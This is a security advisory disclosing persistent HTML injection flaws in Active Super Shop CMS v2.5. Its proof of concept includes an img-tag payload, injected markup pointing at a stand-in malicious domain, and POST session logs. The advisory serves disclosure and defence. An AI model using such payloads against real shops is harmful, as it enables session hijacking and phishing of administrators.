Active Super Shop CMS v2.5 - HTML Injection Vulnerabilities

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Document Title:
===============
Active Super Shop CMS v2.5 - HTML Injection Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2278


Release Date:
=============
2023-07-04


Vulnerability Laboratory ID (VL-ID):
====================================
2278


Common Vulnerability Scoring System:
====================================
5.4


Vulnerability Class:
====================
Script Code Injection


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
https://codecanyon.net/item/active-super-shop-multivendor-cms/12124432


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple html injection vulnerabilities in the Active Super 
Shop Multi-vendor CMS v2.5 web-application.


Affected Product(s):
====================
ActiveITzone
Product: Active Super Shop CMS v2.5 (CMS) (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-08-20: Researcher Notification & Coordination (Security Researcher)
2021-08-21: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2023-07-05: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
Multiple html injection web vulnerabilities has been discovered in the official Active Super Shop Multi-vendor CMS v2.5 
web-application.
The web vulnerability allows remote attackers to inject own html codes with persistent vector to manipulate application 
content.

The persistent html injection web vulnerabilities are located in the name, phone and address parameters of the manage 
profile and products branding module.
Remote attackers with privileged accountant access are able to inject own malicious script code in the name parameter 
to provoke a persistent execution on
profile view or products preview listing. There are 3 different privileges that are allowed to access the backend like 
the accountant (low privileges), the
manager (medium privileges) or the admin (high privileges). Accountants are able to attack the higher privileged access 
roles of admins and manager on preview
of the elements in the backend to compromise the application. The request method to inject is post and the attack 
vector is persistent located on the application-side.

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent 
external redirects to malicious source and
persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Manage Details

Vulnerable Parameter(s):
[+] name
[+] phone
[+] address

Affected Module(s):
[+] manage profile
[+] products branding


Proof of Concept (PoC):
=======================
The html injection web vulnerabilities can be exploited by remote attackers with privileged accountant access and with 
low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information 
and steps below to continue.


Exploitation: Payload
<img src="https://[DOMAIN]/[PATH]/[PICTURE].*";>


Vulnerable Source: manage_admin & branding
<div class="tab-pane fade active in" id="" style="border:1px solid #ebebeb; border-radius:4px;">
<div class="panel-heading">
<h3 class="panel-title">Manage Details</h3>
</div>
<form action="https://assm_cms.localhost:8080/shop/admin/manage_admin/update_profile/";  class="form-horizontal" method="post" 
accept-charset="utf-8">
<div class="panel-body">
<div class="form-group">
<label class="col-sm-3 control-label" for="demo-hor-1">Name</label>
<div class="col-sm-6">
<input type="text" name="name" value="Mr. Accountant"><img src="https://MALICIOUS-DOMAIN.com/gfx/logo-header.png";>" id="demo-hor-1" 
class="form-control required"&gt;
</div></div>
<div class="form-group">
<label class="col-sm-3 control-label" for="demo-hor-2">Email</label>
<div class="col-sm-6">
<input type="email" name="email" value="accountant () shop com"  id="demo-hor-2" class="form-control required">
</div></div>
<div class="form-group">
<label class="col-sm-3 control-label" for="demo-hor-3">
Phone</label>
<div class="col-sm-6">
<input type="text" name="phone" value="017"><img src="https://MALICIOUS-DOMAIN.com/gfx/logo-header.png";>" id="demo-hor-3" 
class="form-control"&gt;
</div></div>


--- PoC Session Logs (POST) ---
https://assm_cms.localhost:8080/shop/admin/manage_admin/update_profile/
Host: assm_cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------280242453224137385302547344680
Content-Length: 902
Origin:https://assm_cms.localhost:8080
Connection: keep-alive
Referer:https://assm_cms.localhost:8080/shop/admin/manage_admin/
Cookie: ci_session=5n6fmo5q5gvik6i5hh2b72uonuem9av3; curr=1
-
POST: HTTP/3.0 200 OK
content-type: text/html; charset=UTF-8
ci_session=5n6fmo5q5gvik6i5hh2b72uonuem9av3; path=/; HttpOnly
https://assm_cms.localhost:8080/shop/admin/manage_admin/
Host: assm_cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive


Reference(s):
https://assm_cms.localhost:8080/shop/
https://assm_cms.localhost:8080/shop/admin/
https://assm_cms.localhost:8080/shop/admin/manage_admin/
https://assm_cms.localhost:8080/shop/admin/manage_admin/update_profile/


Solution - Fix & Patch:
=======================
Disallow inseration of html code for input fields like name, adress and phone. Sanitize the content to secure deliver.


Security Risk:
==============
The security risk of the html injection web vulnerabilities in the shopping web-application are estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


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=========================
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